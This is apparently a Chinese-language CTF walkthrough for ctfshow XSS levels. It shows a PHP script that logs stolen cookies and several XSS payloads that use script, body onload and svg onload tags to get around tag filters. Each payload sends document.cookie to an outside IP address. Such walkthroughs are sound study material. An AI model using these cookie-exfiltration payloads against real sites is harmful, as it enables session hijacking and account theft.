目录
8、关卡330 - 存储型-借助修改密码URL重置管理员密码(GET方式提交修改密码)
下面是ctfshow的关卡
1、关卡361 - 反射型xss
在文本框中输入123,页面中就出现123;即,在输入框中输入什么,页面中就会出现什么
测试:输入“<script>alert(1)</script>”是否会出现弹窗
测试结果:出现弹窗,说明存在跨站xss漏洞
怎么去获取这个flag呢,在ctfshow默认会有一个机器人,生成好跨站地址后,机器人会自动去访问地址触发跨站,然后让管理员把他的cookie发送出来,作为考题,flag在cookie中。 那么应该怎么获取管理员的cookie呢?
首先我们要知道在js中,document.cookie可以获取到当前的cookie,和window.location.href是跳转到url,通过这两个内部函数去让浏览器给我们发送cookie,只要打开我们构造的URL就让发生cookie到我们服务器中。所以我们要先准备一个api接收从目标网站返回的cookie信息
在自己的服务器建一个get.php
# get.php
<?php
$cookie=$_GET['c'];
$myfile = fopen("cookie.txt", "w+");
fwrite($myfile, $cookie);
fclose($myfile);
?>
构造跨站语句: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
在输入框输入跨站语句,点击“生成链接”,当机器人去触发,就可以获取到flag了
2、关卡317 - 过滤标签
上一关的跨站语句:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
在输入框输入前一关的跨站语句,点击“生成链接”,发现网站没有反应,页面没有显示js语句,浏览器也没有跳转,但是正常 的输入123这样的,shi没问题的,通过尝试发现输入的语句中只要出现了<script>,网站就会对其进行过滤,那么我们把<script>标签换成其它的标签
常见的绕过,参考文章:https://xz.aliyun.com/t/4067
比如把script标签换成img标签,如<img src=1 onerror=alert("xss");>
测试:在输入框中输入img标签的跨站语句,点击“生成链接”,结果弹窗
构造payload:
① <img src=1 οnerrοr=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;> 当图片地址不存在时,触发事件,测试失败,猜测可能图片1是存在
② <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 失败
③ <body/οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;> 成功
这个是什么原因呢? 为什么body可以,img不行。其实这是和鼠标事件有关。鼠标事件有错误事件(onerror),有单击事件(onclick),指向触发,还有事件会在页面或图像加载完成后立即发生(onload,这个是最好的,不需要任何操作就可触发的)
3、关卡318 319 - 过滤标签
用前面的payload:<img src=adf οnlοad=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> 一样也是被过滤了,
然后用到input标签:<input οnlοad="alert('xss');"> 构造payload: <input οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">没反应?换一个
用svg标签构造payload: <svg οnlοad="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 页面跳转成功,成功获取到cookie和flag